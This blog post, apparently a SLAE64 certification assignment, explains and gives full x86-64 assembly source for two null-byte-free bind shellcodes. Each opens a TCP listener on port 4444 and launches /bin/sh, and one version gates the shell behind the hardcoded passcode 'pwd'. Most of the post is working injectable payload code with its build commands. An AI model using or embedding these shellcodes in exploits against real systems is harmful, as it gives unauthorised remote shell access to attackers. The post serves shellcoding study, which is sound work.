This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification :
http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html
Student ID: PA-6470
Assignment #1
The aim of this assignment is to create a bind shellcode with a passcode and to remove all 0x00 from opcodes.
This shellcode opens a TCP socket and listens on port 4444 :

You can connect to this shellcode using netcat command on port 444 :
A passcode is required, enter pwd and return key.
Here we are on the /bin/sh shell !

Here are the opcodes of this shellcode, as you can see there are no 0x00 :

I’ll not detail all parts of this shellcode because there are very similar to the standard TCP bind shellcode seen in SLAE64 course.
However I’ll explain the passcode code part and how I’ve removed the 0x00.
First, we need to print a passcode text string. The string I’ve chosen is 12 characters long (with a space character at the end) :
#passcode :
which is 0x2370617373636f6465203a20 in hexadecimal. Due to the stack technique we need to push this value in reverse order :
push 0x203a2065 ; #passcode : mov rbx, 0x646f637373617023 ; #passcode : push rbx
Then we can print this text using syscall 1. All syscalls can be found here : http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/
rdi = file descriptor = 1 = stdout
rsi = text buffer to print = rsp = 0x2370617373636f6465203a20 in reverse order
rdx = text buffer size
xor rdx, rdx mov dl, passcode_required_size mov rsi, rsp xor rdi, rdi mov dil, 1 ; stdout xor rax, rax mov al, 1 ; sys_write syscall
Then we need to ask and wait for user input and store user passcode string in memory. In order to give memory space for user string, I’ve chosen to push 8 characters on the stack and to give this pointer to rsi :
; user input
;mov rdx, buffer_size
xor rdx, rdx
mov dl, buffer_size
;mov rsi, buffer
mov rbx, 0x0101010101010101
push rbx
mov rsi, rsp
xor rdi, rdi ; stdin
xor rax, rax
syscall ; sys_read
Then we need to check passcode. First I put the correct passcode pwd0x0a on the stack and store it in rdi pointer register. Then whithin a loop I compare each character from user input (rsi register) with each character from correct passcode (rdi register). If there is a difference I jump to the exit code part. If all is OK I just continue to the standard shellcode part.
In order to remove 0x00 I’m using :
- xor <register>, <register> followed by a « small » register technique :
xor rdi, rdi mov dil, 1
- push data on stack instead of using data segment :
push 0x0a647770 ; pwd0x0a mov rdi, rsp
So here is the check passcode code part :
; check passcode
push 0x0a647770 ; pwd0x0a
mov rdi, rsp
xor rcx, rcx
dec rcx
cmp_pwd:
inc rcx
mov al, byte [rsi + rcx]
mov dl, byte [rdi + rcx]
cmp al, dl ; compare each character
jne exit ; jump out of loop if they are not the same
cmp dl, 0x0a ; end of string ?
jne cmp_pwd ; not finished, loop again
Full source code is available here and on my Github account.
Source code of bind-shell-passcode-safe.nasm
; This shellcode has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification :
; http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html
;
; Author : SLAE64-PA-6470 (kahlon81)
; Date : 2018/02/21
;
; nasm -f elf64 bind-shell-passcode-safe.nasm -o bind-shell-passcode-safe.o
; ld bind-shell-passcode-safe.o -o bind-shell-passcode-safe
global _start
section .bss
buffer resb 20 ; buffer of 20 bytes
buffer_size equ $ - buffer ; buffer size
section .data
passcode: db 'pwd',0x0a
passcode_required: db '#passcode : '
passcode_required_size equ $ - passcode_required
section .text
_start:
; sock = socket(AF_INET, SOCK_STREAM, 0)
; AF_INET = 2
; SOCK_STREAM = 1
; syscall number 41
xor rax, rax
mov al, 41
xor rdi, rdi
mov dil, 2
xor rsi, rsi
mov sil, 1
xor rdx, rdx
syscall
; copy socket descriptor to rdi for future use
mov rdi, rax
; server.sin_family = AF_INET
; server.sin_port = htons(PORT)
; server.sin_addr.s_addr = INADDR_ANY
; bzero(&server.sin_zero, 8)
xor rax, rax
push rax
mov dword [rsp-4], eax
mov word [rsp-6], 0x5c11
mov word [rsp-8], 0x1FF
sub word [rsp-8], 0x1FD
sub rsp, 8
; bind(sock, (struct sockaddr *)&server, sockaddr_len)
; syscall number 49
xor rax, rax
mov al, 49
mov rsi, rsp
xor rdx, rdx
mov dl, 16
syscall
; listen(sock, MAX_CLIENTS)
; syscall number 50
xor rax, rax
mov al, 50
xor rsi, rsi
mov sil, 2
syscall
; new = accept(sock, (struct sockaddr *)&client, &sockaddr_len)
; syscall number 43
xor rax, rax
mov al, 43
sub rsp, 16
mov rsi, rsp
mov byte [rsp-1], 16
sub rsp, 1
mov rdx, rsp
syscall
; store the client socket description
mov r9, rax
; close parent
xor rax, rax
mov al, 3
syscall
; duplicate sockets
; dup2 (new, old)
mov rdi, r9
xor rax, rax
mov al, 33
xor rsi, rsi
syscall
xor rax, rax
mov al, 33
xor rsi ,rsi
mov sil, 1
syscall
xor rax, rax
mov al, 33
xor rsi, rsi
mov sil, 2
syscall
; passcode is required
xor rdx, rdx
mov dl, passcode_required_size
;mov rsi, passcode_required
push 0x203a2065 ; #passcode :
mov rbx, 0x646f637373617023 ; #passcode :
push rbx
mov rsi, rsp
xor rdi, rdi
mov dil, 1 ; stdout
xor rax, rax
mov al, 1 ; sys_write
syscall
; user input
;mov rdx, buffer_size
xor rdx, rdx
mov dl, buffer_size
;mov rsi, buffer
mov rbx, 0x0101010101010101
push rbx
mov rsi, rsp
xor rdi, rdi ; stdin
xor rax, rax
syscall ; sys_read
; check passcode
;lea rsi, [buffer] ; user passcode
;mov rsi, buffer
;lea rdi, [passcode] ; true passcode
;mov rdi, passcode
push 0x0a647770 ; pwd0x0a
mov rdi, rsp
xor rcx, rcx
dec rcx
cmp_pwd:
inc rcx
mov al, byte [rsi + rcx]
mov dl, byte [rdi + rcx]
cmp al, dl ; compare each character
jne exit ; jump out of loop if they are not the same
cmp dl, 0x0a ; end of string ?
jne cmp_pwd ; not finished, loop again
; shellcode
; execve
; First NULL push
xor rax, rax
push rax
; push /bin//sh in reverse
mov rbx, 0x68732f2f6e69622f
push rbx
; store /bin//sh address in RDI
mov rdi, rsp
; Second NULL push
push rax
; set RDX
mov rdx, rsp
; push address of /bin//sh
push rdi
; set RSI
mov rsi, rsp
; Call the execve syscall
add rax, 59
syscall
exit:
xor rdi, rdi
add dil, 1
xor rax, rax
add al, 60
syscall
Source code of bind-shell-safe.nasm
; This shellcode has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification :
; http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html
;
; Author : SLAE64-PA-6470 (kahlon81)
; Date : 2018/02/21
;
; nasm -f elf64 bind-shell-safe.nasm -o bind-shell-safe.o
; ld bind-shell-safe.o -o bind-shell-safe
global _start
_start:
; sock = socket(AF_INET, SOCK_STREAM, 0)
; AF_INET = 2
; SOCK_STREAM = 1
; syscall number 41
xor rax, rax
mov al, 41
xor rdi, rdi
mov dil, 2
xor rsi, rsi
mov sil, 1
xor rdx, rdx
syscall
; copy socket descriptor to rdi for future use
mov rdi, rax
; server.sin_family = AF_INET
; server.sin_port = htons(PORT)
; server.sin_addr.s_addr = INADDR_ANY
; bzero(&server.sin_zero, 8)
xor rax, rax
push rax
mov dword [rsp-4], eax
mov word [rsp-6], 0x5c11
mov word [rsp-8], 0x1FF
sub word [rsp-8], 0x1FD
sub rsp, 8
; bind(sock, (struct sockaddr *)&server, sockaddr_len)
; syscall number 49
xor rax, rax
mov al, 49
mov rsi, rsp
xor rdx, rdx
mov dl, 16
syscall
; listen(sock, MAX_CLIENTS)
; syscall number 50
xor rax, rax
mov al, 50
xor rsi, rsi
mov sil, 2
syscall
; new = accept(sock, (struct sockaddr *)&client, &sockaddr_len)
; syscall number 43
xor rax, rax
mov al, 43
sub rsp, 16
mov rsi, rsp
mov byte [rsp-1], 16
sub rsp, 1
mov rdx, rsp
syscall
; store the client socket description
mov r9, rax
; close parent
xor rax, rax
mov al, 3
syscall
; duplicate sockets
; dup2 (new, old)
mov rdi, r9
xor rax, rax
mov al, 33
xor rsi, rsi
syscall
xor rax, rax
mov al, 33
xor rsi ,rsi
mov sil, 1
syscall
xor rax, rax
mov al, 33
xor rsi, rsi
mov sil, 2
syscall
; execve
; First NULL push
xor rax, rax
push rax
; push /bin//sh in reverse
mov rbx, 0x68732f2f6e69622f
push rbx
; store /bin//sh address in RDI
mov rdi, rsp
; Second NULL push
push rax
; set RDX
mov rdx, rsp
; Push address of /bin//sh
push rdi
; set RSI
mov rsi, rsp
; Call the Execve syscall
add rax, 59
syscall




